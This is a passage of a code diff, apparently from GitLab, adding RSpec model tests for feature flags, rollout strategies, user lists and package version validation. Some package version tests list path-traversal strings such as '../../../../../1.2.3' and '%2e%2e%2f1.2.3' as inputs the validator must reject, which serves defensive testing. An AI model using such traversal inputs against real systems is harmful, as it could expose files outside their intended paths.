+ create(:operations_feature_flag, project: project2)
+
+ scopes = described_class.for_unleash_client(project1, 'sandbox').to_a
+
+ expect(scopes).to contain_exactly(*expected_feature_flag.scopes)
+ end
+
+ it 'returns a scope that matches exactly over a match with a wild card' do
+ project = create(:project)
+ feature_flag = create(:operations_feature_flag, project: project)
+ create(:operations_feature_flag_scope, feature_flag: feature_flag, environment_scope: 'production*')
+ expected_scope = create(:operations_feature_flag_scope, feature_flag: feature_flag, environment_scope: 'production')
+
+ scopes = described_class.for_unleash_client(project, 'production').to_a
+
+ expect(scopes).to contain_exactly(expected_scope)
+ end
+ end
+end
diff --git a/spec/models/operations/feature_flag_spec.rb b/spec/models/operations/feature_flag_spec.rb
new file mode 100644
index 00000000000..83d6c6b95a3
--- /dev/null
+++ b/spec/models/operations/feature_flag_spec.rb
@@ -0,0 +1,258 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Operations::FeatureFlag do
+ include FeatureFlagHelpers
+
+ subject { create(:operations_feature_flag) }
+
+ describe 'associations' do
+ it { is_expected.to belong_to(:project) }
+ it { is_expected.to have_many(:scopes) }
+ end
+
+ describe 'validations' do
+ it { is_expected.to validate_presence_of(:project) }
+ it { is_expected.to validate_presence_of(:name) }
+ it { is_expected.to validate_uniqueness_of(:name).scoped_to(:project_id) }
+ it { is_expected.to define_enum_for(:version).with_values(legacy_flag: 1, new_version_flag: 2) }
+
+ context 'a version 1 feature flag' do
+ it 'is valid if associated with Operations::FeatureFlagScope models' do
+ project = create(:project)
+ feature_flag = described_class.create({ name: 'test', project: project, version: 1,
+ scopes_attributes: [{ environment_scope: '*', active: false }] })
+
+ expect(feature_flag).to be_valid
+ end
+
+ it 'is invalid if associated with Operations::FeatureFlags::Strategy models' do
+ project = create(:project)
+ feature_flag = described_class.create({ name: 'test', project: project, version: 1,
+ strategies_attributes: [{ name: 'default', parameters: {} }] })
+
+ expect(feature_flag.errors.messages).to eq({
+ version_associations: ["version 1 feature flags may not have strategies"]
+ })
+ end
+ end
+
+ context 'a version 2 feature flag' do
+ it 'is invalid if associated with Operations::FeatureFlagScope models' do
+ project = create(:project)
+ feature_flag = described_class.create({ name: 'test', project: project, version: 2,
+ scopes_attributes: [{ environment_scope: '*', active: false }] })
+
+ expect(feature_flag.errors.messages).to eq({
+ version_associations: ["version 2 feature flags may not have scopes"]
+ })
+ end
+
+ it 'is valid if associated with Operations::FeatureFlags::Strategy models' do
+ project = create(:project)
+ feature_flag = described_class.create({ name: 'test', project: project, version: 2,
+ strategies_attributes: [{ name: 'default', parameters: {} }] })
+
+ expect(feature_flag).to be_valid
+ end
+ end
+
+ it_behaves_like 'AtomicInternalId', validate_presence: true do
+ let(:internal_id_attribute) { :iid }
+ let(:instance) { build(:operations_feature_flag) }
+ let(:scope) { :project }
+ let(:scope_attrs) { { project: instance.project } }
+ let(:usage) { :operations_feature_flags }
+ end
+ end
+
+ describe 'feature flag version' do
+ it 'defaults to 1 if unspecified' do
+ project = create(:project)
+
+ feature_flag = described_class.create(name: 'my_flag', project: project, active: true)
+
+ expect(feature_flag).to be_valid
+ expect(feature_flag.version_before_type_cast).to eq(1)
+ end
+ end
+
+ describe 'Scope creation' do
+ subject { described_class.new(**params) }
+
+ let(:project) { create(:project) }
+
+ let(:params) do
+ { name: 'test', project: project, scopes_attributes: scopes_attributes }
+ end
+
+ let(:scopes_attributes) do
+ [{ environment_scope: '*', active: false },
+ { environment_scope: 'review/*', active: true }]
+ end
+
+ it { is_expected.to be_valid }
+
+ context 'when the first scope is not wildcard' do
+ let(:scopes_attributes) do
+ [{ environment_scope: 'review/*', active: true },
+ { environment_scope: '*', active: false }]
+ end
+
+ it { is_expected.not_to be_valid }
+ end
+ end
+
+ describe 'the default scope' do
+ let_it_be(:project) { create(:project) }
+
+ context 'with a version 1 feature flag' do
+ it 'creates a default scope' do
+ feature_flag = described_class.create({ name: 'test', project: project, scopes_attributes: [], version: 1 })
+
+ expect(feature_flag.scopes.count).to eq(1)
+ expect(feature_flag.scopes.first.environment_scope).to eq('*')
+ end
+
+ it 'allows specifying the default scope in the parameters' do
+ feature_flag = described_class.create({ name: 'test', project: project,
+ scopes_attributes: [{ environment_scope: '*', active: false },
+ { environment_scope: 'review/*', active: true }], version: 1 })
+
+ expect(feature_flag.scopes.count).to eq(2)
+ expect(feature_flag.scopes.first.environment_scope).to eq('*')
+ end
+ end
+
+ context 'with a version 2 feature flag' do
+ it 'does not create a default scope' do
+ feature_flag = described_class.create({ name: 'test', project: project, scopes_attributes: [], version: 2 })
+
+ expect(feature_flag.scopes).to eq([])
+ end
+ end
+ end
+
+ describe '.enabled' do
+ subject { described_class.enabled }
+
+ context 'when the feature flag is active' do
+ let!(:feature_flag) { create(:operations_feature_flag, active: true) }
+
+ it 'returns the flag' do
+ is_expected.to eq([feature_flag])
+ end
+ end
+
+ context 'when the feature flag is active and all scopes are inactive' do
+ let!(:feature_flag) { create(:operations_feature_flag, active: true) }
+
+ it 'returns the flag' do
+ feature_flag.default_scope.update!(active: false)
+
+ is_expected.to eq([feature_flag])
+ end
+ end
+
+ context 'when the feature flag is inactive' do
+ let!(:feature_flag) { create(:operations_feature_flag, active: false) }
+
+ it 'does not return the flag' do
+ is_expected.to be_empty
+ end
+ end
+
+ context 'when the feature flag is inactive and all scopes are active' do
+ let!(:feature_flag) { create(:operations_feature_flag, active: false) }
+
+ it 'does not return the flag' do
+ feature_flag.default_scope.update!(active: true)
+
+ is_expected.to be_empty
+ end
+ end
+ end
+
+ describe '.disabled' do
+ subject { described_class.disabled }
+
+ context 'when the feature flag is active' do
+ let!(:feature_flag) { create(:operations_feature_flag, active: true) }
+
+ it 'does not return the flag' do
+ is_expected.to be_empty
+ end
+ end
+
+ context 'when the feature flag is active and all scopes are inactive' do
+ let!(:feature_flag) { create(:operations_feature_flag, active: true) }
+
+ it 'does not return the flag' do
+ feature_flag.default_scope.update!(active: false)
+
+ is_expected.to be_empty
+ end
+ end
+
+ context 'when the feature flag is inactive' do
+ let!(:feature_flag) { create(:operations_feature_flag, active: false) }
+
+ it 'returns the flag' do
+ is_expected.to eq([feature_flag])
+ end
+ end
+
+ context 'when the feature flag is inactive and all scopes are active' do
+ let!(:feature_flag) { create(:operations_feature_flag, active: false) }
+
+ it 'returns the flag' do
+ feature_flag.default_scope.update!(active: true)
+
+ is_expected.to eq([feature_flag])
+ end
+ end
+ end
+
+ describe '.for_unleash_client' do
+ let_it_be(:project) { create(:project) }
+ let!(:feature_flag) do
+ create(:operations_feature_flag, project: project,
+ name: 'feature1', active: true, version: 2)
+ end
+
+ let!(:strategy) do
+ create(:operations_strategy, feature_flag: feature_flag,
+ name: 'default', parameters: {})
+ end
+
+ it 'matches wild cards in the scope' do
+ create(:operations_scope, strategy: strategy, environment_scope: 'review/*')
+
+ flags = described_class.for_unleash_client(project, 'review/feature-branch')
+
+ expect(flags).to eq([feature_flag])
+ end
+
+ it 'matches wild cards case sensitively' do
+ create(:operations_scope, strategy: strategy, environment_scope: 'Staging/*')
+
+ flags = described_class.for_unleash_client(project, 'staging/feature')
+
+ expect(flags).to eq([])
+ end
+
+ it 'returns feature flags ordered by id' do
+ create(:operations_scope, strategy: strategy, environment_scope: 'production')
+ feature_flag_b = create(:operations_feature_flag, project: project,
+ name: 'feature2', active: true, version: 2)
+ strategy_b = create(:operations_strategy, feature_flag: feature_flag_b,
+ name: 'default', parameters: {})
+ create(:operations_scope, strategy: strategy_b, environment_scope: '*')
+
+ flags = described_class.for_unleash_client(project, 'production')
+
+ expect(flags.map(&:id)).to eq([feature_flag.id, feature_flag_b.id])
+ end
+ end
+end
diff --git a/spec/models/operations/feature_flags/strategy_spec.rb b/spec/models/operations/feature_flags/strategy_spec.rb
new file mode 100644
index 00000000000..04e3ef26e9d
--- /dev/null
+++ b/spec/models/operations/feature_flags/strategy_spec.rb
@@ -0,0 +1,323 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Operations::FeatureFlags::Strategy do
+ let_it_be(:project) { create(:project) }
+
+ describe 'validations' do
+ it do
+ is_expected.to validate_inclusion_of(:name)
+ .in_array(%w[default gradualRolloutUserId userWithId gitlabUserList])
+ .with_message('strategy name is invalid')
+ end
+
+ describe 'parameters' do
+ context 'when the strategy name is invalid' do
+ where(:invalid_name) do
+ [nil, {}, [], 'nothing', 3]
+ end
+ with_them do
+ it 'skips parameters validation' do
+ feature_flag = create(:operations_feature_flag, project: project)
+ strategy = described_class.create(feature_flag: feature_flag,
+ name: invalid_name, parameters: { bad: 'params' })
+
+ expect(strategy.errors[:name]).to eq(['strategy name is invalid'])
+ expect(strategy.errors[:parameters]).to be_empty
+ end
+ end
+ end
+
+ context 'when the strategy name is gradualRolloutUserId' do
+ where(:invalid_parameters) do
+ [nil, {}, { percentage: '40', groupId: 'mygroup', userIds: '4' }, { percentage: '40' },
+ { percentage: '40', groupId: 'mygroup', extra: nil }, { groupId: 'mygroup' }]
+ end
+ with_them do
+ it 'must have valid parameters for the strategy' do
+ feature_flag = create(:operations_feature_flag, project: project)
+ strategy = described_class.create(feature_flag: feature_flag,
+ name: 'gradualRolloutUserId', parameters: invalid_parameters)
+
+ expect(strategy.errors[:parameters]).to eq(['parameters are invalid'])
+ end
+ end
+
+ it 'allows the parameters in any order' do
+ feature_flag = create(:operations_feature_flag, project: project)
+ strategy = described_class.create(feature_flag: feature_flag,
+ name: 'gradualRolloutUserId',
+ parameters: { percentage: '10', groupId: 'mygroup' })
+
+ expect(strategy.errors[:parameters]).to be_empty
+ end
+
+ describe 'percentage' do
+ where(:invalid_value) do
+ [50, 40.0, { key: "value" }, "garbage", "00", "01", "101", "-1", "-10", "0100",
+ "1000", "10.0", "5%", "25%", "100hi", "e100", "30m", " ", "\r\n", "\n", "\t",
+ "\n10", "20\n", "\n100", "100\n", "\n ", nil]
+ end
+ with_them do
+ it 'must be a string value between 0 and 100 inclusive and without a percentage sign' do
+ feature_flag = create(:operations_feature_flag, project: project)
+ strategy = described_class.create(feature_flag: feature_flag,
+ name: 'gradualRolloutUserId',
+ parameters: { groupId: 'mygroup', percentage: invalid_value })
+
+ expect(strategy.errors[:parameters]).to eq(['percentage must be a string between 0 and 100 inclusive'])
+ end
+ end
+
+ where(:valid_value) do
+ %w[0 1 10 38 100 93]
+ end
+ with_them do
+ it 'must be a string value between 0 and 100 inclusive and without a percentage sign' do
+ feature_flag = create(:operations_feature_flag, project: project)
+ strategy = described_class.create(feature_flag: feature_flag,
+ name: 'gradualRolloutUserId',
+ parameters: { groupId: 'mygroup', percentage: valid_value })
+
+ expect(strategy.errors[:parameters]).to eq([])
+ end
+ end
+ end
+
+ describe 'groupId' do
+ where(:invalid_value) do
+ [nil, 4, 50.0, {}, 'spaces bad', 'bad$', '%bad', '<bad', 'bad>', '!bad',
+ '.bad', 'Bad', 'bad1', "", " ", "b" * 33, "ba_d", "ba\nd"]
+ end
+ with_them do
+ it 'must be a string value of up to 32 lowercase characters' do
+ feature_flag = create(:operations_feature_flag, project: project)
+ strategy = described_class.create(feature_flag: feature_flag,
+ name: 'gradualRolloutUserId',
+ parameters: { groupId: invalid_value, percentage: '40' })
+
+ expect(strategy.errors[:parameters]).to eq(['groupId parameter is invalid'])
+ end
+ end
+
+ where(:valid_value) do
+ ["somegroup", "anothergroup", "okay", "g", "a" * 32]
+ end
+ with_them do
+ it 'must be a string value of up to 32 lowercase characters' do
+ feature_flag = create(:operations_feature_flag, project: project)
+ strategy = described_class.create(feature_flag: feature_flag,
+ name: 'gradualRolloutUserId',
+ parameters: { groupId: valid_value, percentage: '40' })
+
+ expect(strategy.errors[:parameters]).to eq([])
+ end
+ end
+ end
+ end
+
+ context 'when the strategy name is userWithId' do
+ where(:invalid_parameters) do
+ [nil, { userIds: 'sam', percentage: '40' }, { userIds: 'sam', some: 'param' }, { percentage: '40' }, {}]
+ end
+ with_them do
+ it 'must have valid parameters for the strategy' do
+ feature_flag = create(:operations_feature_flag, project: project)
+ strategy = described_class.create(feature_flag: feature_flag,
+ name: 'userWithId', parameters: invalid_parameters)
+
+ expect(strategy.errors[:parameters]).to eq(['parameters are invalid'])
+ end
+ end
+
+ describe 'userIds' do
+ where(:valid_value) do
+ ["", "sam", "1", "a", "uuid-of-some-kind", "sam,fred,tom,jane,joe,mike",
+ "gitlab@example.com", "123,4", "UPPER,Case,charActeRS", "0",
+ "$valid$email#2345#$%..{}+=-)?\\/@example.com", "spaces allowed",
+ "a" * 256, "a,#{'b' * 256},ccc", "many spaces"]
+ end
+ with_them do
+ it 'is valid with a string of comma separated values' do
+ feature_flag = create(:operations_feature_flag, project: project)
+ strategy = described_class.create(feature_flag: feature_flag,
+ name: 'userWithId', parameters: { userIds: valid_value })
+
+ expect(strategy.errors[:parameters]).to be_empty
+ end
+ end
+
+ where(:invalid_value) do
+ [1, 2.5, {}, [], nil, "123\n456", "1,2,3,12\t3", "\n", "\n\r",
+ "joe\r,sam", "1,2,2", "1,,2", "1,2,,,,", "b" * 257, "1, ,2", "tim, ,7", " ",
+ " ", " ,1", "1, ", " leading,1", "1,trailing ", "1, both ,2"]
+ end
+ with_them do
+ it 'is invalid' do
+ feature_flag = create(:operations_feature_flag, project: project)
+ strategy = described_class.create(feature_flag: feature_flag,
+ name: 'userWithId', parameters: { userIds: invalid_value })
+
+ expect(strategy.errors[:parameters]).to include(
+ 'userIds must be a string of unique comma separated values each 256 characters or less'
+ )
+ end
+ end
+ end
+ end
+
+ context 'when the strategy name is default' do
+ where(:invalid_value) do
+ [{ groupId: "hi", percentage: "7" }, "", "nothing", 7, nil, [], 2.5]
+ end
+ with_them do
+ it 'must be empty' do
+ feature_flag = create(:operations_feature_flag, project: project)
+ strategy = described_class.create(feature_flag: feature_flag,
+ name: 'default',
+ parameters: invalid_value)
+
+ expect(strategy.errors[:parameters]).to eq(['parameters are invalid'])
+ end
+ end
+
+ it 'must be empty' do
+ feature_flag = create(:operations_feature_flag, project: project)
+ strategy = described_class.create(feature_flag: feature_flag,
+ name: 'default',
+ parameters: {})
+
+ expect(strategy.errors[:parameters]).to be_empty
+ end
+ end
+
+ context 'when the strategy name is gitlabUserList' do
+ where(:invalid_value) do
+ [{ groupId: "default", percentage: "7" }, "", "nothing", 7, nil, [], 2.5, { userIds: 'user1' }]
+ end
+ with_them do
+ it 'must be empty' do
+ feature_flag = create(:operations_feature_flag, project: project)
+ strategy = described_class.create(feature_flag: feature_flag,
+ name: 'gitlabUserList',
+ parameters: invalid_value)
+
+ expect(strategy.errors[:parameters]).to eq(['parameters are invalid'])
+ end
+ end
+
+ it 'must be empty' do
+ feature_flag = create(:operations_feature_flag, project: project)
+ strategy = described_class.create(feature_flag: feature_flag,
+ name: 'gitlabUserList',
+ parameters: {})
+
+ expect(strategy.errors[:parameters]).to be_empty
+ end
+ end
+ end
+
+ describe 'associations' do
+ context 'when name is gitlabUserList' do
+ it 'is valid when associated with a user list' do
+ feature_flag = create(:operations_feature_flag, project: project)
+ user_list = create(:operations_feature_flag_user_list, project: project)
+ strategy = described_class.create(feature_flag: feature_flag,
+ name: 'gitlabUserList',
+ user_list: user_list,
+ parameters: {})
+
+ expect(strategy.errors[:user_list]).to be_empty
+ end
+
+ it 'is invalid without a user list' do
+ feature_flag = create(:operations_feature_flag, project: project)
+ strategy = described_class.create(feature_flag: feature_flag,
+ name: 'gitlabUserList',
+ parameters: {})
+
+ expect(strategy.errors[:user_list]).to eq(["can't be blank"])
+ end
+
+ it 'is invalid when associated with a user list from another project' do
+ other_project = create(:project)
+ feature_flag = create(:operations_feature_flag, project: project)
+ user_list = create(:operations_feature_flag_user_list, project: other_project)
+ strategy = described_class.create(feature_flag: feature_flag,
+ name: 'gitlabUserList',
+ user_list: user_list,
+ parameters: {})
+
+ expect(strategy.errors[:user_list]).to eq(['must belong to the same project'])
+ end
+ end
+
+ context 'when name is default' do
+ it 'is invalid when associated with a user list' do
+ feature_flag = create(:operations_feature_flag, project: project)
+ user_list = create(:operations_feature_flag_user_list, project: project)
+ strategy = described_class.create(feature_flag: feature_flag,
+ name: 'default',
+ user_list: user_list,
+ parameters: {})
+
+ expect(strategy.errors[:user_list]).to eq(['must be blank'])
+ end
+
+ it 'is valid without a user list' do
+ feature_flag = create(:operations_feature_flag, project: project)
+ strategy = described_class.create(feature_flag: feature_flag,
+ name: 'default',
+ parameters: {})
+
+ expect(strategy.errors[:user_list]).to be_empty
+ end
+ end
+
+ context 'when name is userWithId' do
+ it 'is invalid when associated with a user list' do
+ feature_flag = create(:operations_feature_flag, project: project)
+ user_list = create(:operations_feature_flag_user_list, project: project)
+ strategy = described_class.create(feature_flag: feature_flag,
+ name: 'userWithId',
+ user_list: user_list,
+ parameters: { userIds: 'user1' })
+
+ expect(strategy.errors[:user_list]).to eq(['must be blank'])
+ end
+
+ it 'is valid without a user list' do
+ feature_flag = create(:operations_feature_flag, project: project)
+ strategy = described_class.create(feature_flag: feature_flag,
+ name: 'userWithId',
+ parameters: { userIds: 'user1' })
+
+ expect(strategy.errors[:user_list]).to be_empty
+ end
+ end
+
+ context 'when name is gradualRolloutUserId' do
+ it 'is invalid when associated with a user list' do
+ feature_flag = create(:operations_feature_flag, project: project)
+ user_list = create(:operations_feature_flag_user_list, project: project)
+ strategy = described_class.create(feature_flag: feature_flag,
+ name: 'gradualRolloutUserId',
+ user_list: user_list,
+ parameters: { groupId: 'default', percentage: '10' })
+
+ expect(strategy.errors[:user_list]).to eq(['must be blank'])
+ end
+
+ it 'is valid without a user list' do
+ feature_flag = create(:operations_feature_flag, project: project)
+ strategy = described_class.create(feature_flag: feature_flag,
+ name: 'gradualRolloutUserId',
+ parameters: { groupId: 'default', percentage: '10' })
+
+ expect(strategy.errors[:user_list]).to be_empty
+ end
+ end
+ end
+ end
+end
diff --git a/spec/models/operations/feature_flags/user_list_spec.rb b/spec/models/operations/feature_flags/user_list_spec.rb
new file mode 100644
index 00000000000..020416aa7bc
--- /dev/null
+++ b/spec/models/operations/feature_flags/user_list_spec.rb
@@ -0,0 +1,102 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Operations::FeatureFlags::UserList do
+ subject { create(:operations_feature_flag_user_list) }
+
+ describe 'validations' do
+ it { is_expected.to validate_presence_of(:project) }
+ it { is_expected.to validate_presence_of(:name) }
+ it { is_expected.to validate_uniqueness_of(:name).scoped_to(:project_id) }
+ it { is_expected.to validate_length_of(:name).is_at_least(1).is_at_most(255) }
+
+ describe 'user_xids' do
+ where(:valid_value) do
+ ["", "sam", "1", "a", "uuid-of-some-kind", "sam,fred,tom,jane,joe,mike",
+ "gitlab@example.com", "123,4", "UPPER,Case,charActeRS", "0",
+ "$valid$email#2345#$%..{}+=-)?\\/@example.com", "spaces allowed",
+ "a" * 256, "a,#{'b' * 256},ccc", "many spaces"]
+ end
+ with_them do
+ it 'is valid with a string of comma separated values' do
+ user_list = described_class.create(user_xids: valid_value)
+
+ expect(user_list.errors[:user_xids]).to be_empty
+ end
+ end
+
+ where(:typecast_value) do
+ [1, 2.5, {}, []]
+ end
+ with_them do
+ it 'automatically casts values of other types' do
+ user_list = described_class.create(user_xids: typecast_value)
+
+ expect(user_list.errors[:user_xids]).to be_empty
+ expect(user_list.user_xids).to eq(typecast_value.to_s)
+ end
+ end
+
+ where(:invalid_value) do
+ [nil, "123\n456", "1,2,3,12\t3", "\n", "\n\r",
+ "joe\r,sam", "1,2,2", "1,,2", "1,2,,,,", "b" * 257, "1, ,2", "tim, ,7", " ",
+ " ", " ,1", "1, ", " leading,1", "1,trailing ", "1, both ,2"]
+ end
+ with_them do
+ it 'is invalid' do
+ user_list = described_class.create(user_xids: invalid_value)
+
+ expect(user_list.errors[:user_xids]).to include(
+ 'user_xids must be a string of unique comma separated values each 256 characters or less'
+ )
+ end
+ end
+ end
+ end
+
+ describe 'url_helpers' do
+ it 'generates paths based on the internal id' do
+ create(:operations_feature_flag_user_list)
+ project_b = create(:project)
+ list_b = create(:operations_feature_flag_user_list, project: project_b)
+
+ path = ::Gitlab::Routing.url_helpers.project_feature_flags_user_list_path(project_b, list_b)
+
+ expect(path).to eq("/#{project_b.full_path}/-/feature_flags_user_lists/#{list_b.iid}")
+ end
+ end
+
+ describe '#destroy' do
+ it 'deletes the model if it is not associated with any feature flag strategies' do
+ project = create(:project)
+ user_list = described_class.create(project: project, name: 'My User List', user_xids: 'user1,user2')
+
+ user_list.destroy
+
+ expect(described_class.count).to eq(0)
+ end
+
+ it 'does not delete the model if it is associated with a feature flag strategy' do
+ project = create(:project)
+ user_list = described_class.create(project: project, name: 'My User List', user_xids: 'user1,user2')
+ feature_flag = create(:operations_feature_flag, :new_version_flag, project: project)
+ strategy = create(:operations_strategy, feature_flag: feature_flag, name: 'gitlabUserList', user_list: user_list)
+
+ user_list.destroy
+
+ expect(described_class.count).to eq(1)
+ expect(::Operations::FeatureFlags::StrategyUserList.count).to eq(1)
+ expect(strategy.reload.user_list).to eq(user_list)
+ expect(strategy.valid?).to eq(true)
+ end
+ end
+
+ it_behaves_like 'AtomicInternalId' do
+ let(:internal_id_attribute) { :iid }
+ let(:instance) { build(:operations_feature_flag_user_list) }
+ let(:scope) { :project }
+ let(:scope_attrs) { { project: instance.project } }
+ let(:usage) { :operations_user_lists }
+ end
+end
diff --git a/spec/models/operations/feature_flags_client_spec.rb b/spec/models/operations/feature_flags_client_spec.rb
new file mode 100644
index 00000000000..05988d676f3
--- /dev/null
+++ b/spec/models/operations/feature_flags_client_spec.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Operations::FeatureFlagsClient do
+ subject { create(:operations_feature_flags_client) }
+
+ describe 'associations' do
+ it { is_expected.to belong_to(:project) }
+ end
+
+ describe 'validations' do
+ it { is_expected.to validate_presence_of(:project) }
+ end
+
+ describe '#token' do
+ it "ensures that token is always set" do
+ expect(subject.token).not_to be_empty
+ end
+ end
+end
diff --git a/spec/models/packages/package_file_spec.rb b/spec/models/packages/package_file_spec.rb
index 7cc8e13d449..6b992dbc2a5 100644
--- a/spec/models/packages/package_file_spec.rb
+++ b/spec/models/packages/package_file_spec.rb
@@ -33,15 +33,17 @@ RSpec.describe Packages::PackageFile, type: :model do
end
context 'updating project statistics' do
+ let_it_be(:package, reload: true) { create(:package) }
+
context 'when the package file has an explicit size' do
it_behaves_like 'UpdateProjectStatistics' do
- subject { build(:package_file, :jar, size: 42) }
+ subject { build(:package_file, :jar, package: package, size: 42) }
end
end
context 'when the package file does not have a size' do
it_behaves_like 'UpdateProjectStatistics' do
- subject { build(:package_file, size: nil) }
+ subject { build(:package_file, package: package, size: nil) }
end
end
end
diff --git a/spec/models/packages/package_spec.rb b/spec/models/packages/package_spec.rb
index 4170bf595f0..ea1f75d04e7 100644
--- a/spec/models/packages/package_spec.rb
+++ b/spec/models/packages/package_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe Packages::Package, type: :model do
describe 'relationships' do
it { is_expected.to belong_to(:project) }
+ it { is_expected.to belong_to(:creator) }
it { is_expected.to have_many(:package_files).dependent(:destroy) }
it { is_expected.to have_many(:dependency_links).inverse_of(:package) }
it { is_expected.to have_many(:tags).inverse_of(:package) }
@@ -84,7 +85,7 @@ RSpec.describe Packages::Package, type: :model do
end
describe 'validations' do
- subject { create(:package) }
+ subject { build(:package) }
it { is_expected.to validate_presence_of(:project) }
it { is_expected.to validate_uniqueness_of(:name).scoped_to(:project_id, :version, :package_type) }
@@ -95,7 +96,7 @@ RSpec.describe Packages::Package, type: :model do
it { is_expected.not_to allow_value("my(dom$$$ain)com.my-app").for(:name) }
context 'conan package' do
- subject { create(:conan_package) }
+ subject { build_stubbed(:conan_package) }
let(:fifty_one_characters) {'f_b' * 17}
@@ -112,7 +113,7 @@ RSpec.describe Packages::Package, type: :model do
describe '#version' do
RSpec.shared_examples 'validating version to be SemVer compliant for' do |factory_name|
context "for #{factory_name}" do
- subject { create(factory_name) }
+ subject { build_stubbed(factory_name) }
it { is_expected.to allow_value('1.2.3').for(:version) }
it { is_expected.to allow_value('1.2.3-beta').for(:version) }
@@ -126,7 +127,7 @@ RSpec.describe Packages::Package, type: :model do
end
context 'conan package' do
- subject { create(:conan_package) }
+ subject { build_stubbed(:conan_package) }
let(:fifty_one_characters) {'1.2' * 17}
@@ -142,7 +143,7 @@ RSpec.describe Packages::Package, type: :model do
end
context 'maven package' do
- subject { create(:maven_package) }
+ subject { build_stubbed(:maven_package) }
it { is_expected.to allow_value('0').for(:version) }
it { is_expected.to allow_value('1').for(:version) }
@@ -169,6 +170,92 @@ RSpec.describe Packages::Package, type: :model do
it { is_expected.not_to allow_value('%2e%2e%2f1.2.3').for(:version) }
end
+ context 'pypi package' do
+ subject { create(:pypi_package) }
+
+ it { is_expected.to allow_value('0.1').for(:version) }
+ it { is_expected.to allow_value('2.0').for(:version) }
+ it { is_expected.to allow_value('1.2.0').for(:version) }
+ it { is_expected.to allow_value('0100!0.0').for(:version) }
+ it { is_expected.to allow_value('00!1.2').for(:version) }
+ it { is_expected.to allow_value('1.0a').for(:version) }
+ it { is_expected.to allow_value('1.0-a').for(:version) }
+ it { is_expected.to allow_value('1.0.a1').for(:version) }
+ it { is_expected.to allow_value('1.0a1').for(:version) }
+ it { is_expected.to allow_value('1.0-a1').for(:version) }
+ it { is_expected.to allow_value('1.0alpha1').for(:version) }
+ it { is_expected.to allow_value('1.0b1').for(:version) }
+ it { is_expected.to allow_value('1.0beta1').for(:version) }
+ it { is_expected.to allow_value('1.0rc1').for(:version) }
+ it { is_expected.to allow_value('1.0pre1').for(:version) }
+ it { is_expected.to allow_value('1.0preview1').for(:version) }
+ it { is_expected.to allow_value('1.0.dev1').for(:version) }
+ it { is_expected.to allow_value('1.0.DEV1').for(:version) }
+ it { is_expected.to allow_value('1.0.post1').for(:version) }
+ it { is_expected.to allow_value('1.0.rev1').for(:version) }
+ it { is_expected.to allow_value('1.0.r1').for(:version) }
+ it { is_expected.to allow_value('1.0c2').for(:version) }
+ it { is_expected.to allow_value('2012.15').for(:version) }
+ it { is_expected.to allow_value('1.0+5').for(:version) }
+ it { is_expected.to allow_value('1.0+abc.5').for(:version) }
+ it { is_expected.to allow_value('1!1.1').for(:version) }
+ it { is_expected.to allow_value('1.0c3').for(:version) }
+ it { is_expected.to allow_value('1.0rc2').for(:version) }
+ it { is_expected.to allow_value('1.0c1').for(:version) }
+ it { is_expected.to allow_value('1.0b2-346').for(:version) }
+ it { is_expected.to allow_value('1.0b2.post345').for(:version) }
+ it { is_expected.to allow_value('1.0b2.post345.dev456').for(:version) }
+ it { is_expected.to allow_value('1.2.rev33+123456').for(:version) }
+ it { is_expected.to allow_value('1.1.dev1').for(:version) }
+ it { is_expected.to allow_value('1.0b1.dev456').for(:version) }
+ it { is_expected.to allow_value('1.0a12.dev456').for(:version) }
+ it { is_expected.to allow_value('1.0b2').for(:version) }
+ it { is_expected.to allow_value('1.0.dev456').for(:version) }
+ it { is_expected.to allow_value('1.0c1.dev456').for(:version) }
+ it { is_expected.to allow_value('1.0.post456').for(:version) }
+ it { is_expected.to allow_value('1.0.post456.dev34').for(:version) }
+ it { is_expected.to allow_value('1.2+123abc').for(:version) }
+ it { is_expected.to allow_value('1.2+abc').for(:version) }
+ it { is_expected.to allow_value('1.2+abc123').for(:version) }
+ it { is_expected.to allow_value('1.2+abc123def').for(:version) }
+ it { is_expected.to allow_value('1.2+1234.abc').for(:version) }
+ it { is_expected.to allow_value('1.2+123456').for(:version) }
+ it { is_expected.to allow_value('1.2.r32+123456').for(:version) }
+ it { is_expected.to allow_value('1!1.2.rev33+123456').for(:version) }
+ it { is_expected.to allow_value('1.0a12').for(:version) }
+ it { is_expected.to allow_value('1.2.3-45+abcdefgh').for(:version) }
+ it { is_expected.to allow_value('v1.2.3').for(:version) }
+ it { is_expected.not_to allow_value('1.2.3-45-abcdefgh').for(:version) }
+ it { is_expected.not_to allow_value('..1.2.3').for(:version) }
+ it { is_expected.not_to allow_value(' 1.2.3').for(:version) }
+ it { is_expected.not_to allow_value("1.2.3 \r\t").for(:version) }
+ it { is_expected.not_to allow_value("\r\t 1.2.3").for(:version) }
+ it { is_expected.not_to allow_value('1./2.3').for(:version) }
+ it { is_expected.not_to allow_value('1.2.3-4/../../').for(:version) }
+ it { is_expected.not_to allow_value('1.2.3-4%2e%2e%').for(:version) }
+ it { is_expected.not_to allow_value('../../../../../1.2.3').for(:version) }
+ it { is_expected.not_to allow_value('%2e%2e%2f1.2.3').for(:version) }
+ end
+
+ context 'generic package' do
+ subject { build_stubbed(:generic_package) }
+
+ it { is_expected.to validate_presence_of(:version) }
+ it { is_expected.to allow_value('1.2.3').for(:version) }
+ it { is_expected.to allow_value('1.3.350').for(:version) }
+ it { is_expected.not_to allow_value('1.3.350-20201230123456').for(:version) }
+ it { is_expected.not_to allow_value('..1.2.3').for(:version) }
+ it { is_expected.not_to allow_value(' 1.2.3').for(:version) }
+ it { is_expected.not_to allow_value("1.2.3 \r\t").for(:version) }
+ it { is_expected.not_to allow_value("\r\t 1.2.3").for(:version) }
+ it { is_expected.not_to allow_value('1.2.3-4/../../').for(:version) }
+ it { is_expected.not_to allow_value('1.2.3-4%2e%2e%').for(:version) }
+ it { is_expected.not_to allow_value('../../../../../1.2.3').for(:version) }
+ it { is_expected.not_to allow_value('%2e%2e%2f1.2.3').for(:version) }
+ it { is_expected.not_to allow_value('').for(:version) }
+ it { is_expected.not_to allow_value(nil).for(:version) }
+ end
+
it_behaves_like 'validating version to be SemVer compliant for', :npm_package
it_behaves_like 'validating version to be SemVer compliant for', :nuget_package
end
@@ -178,7 +265,7 @@ RSpec.describe Packages::Package, type: :model do
let!(:package) { create(:npm_package) }
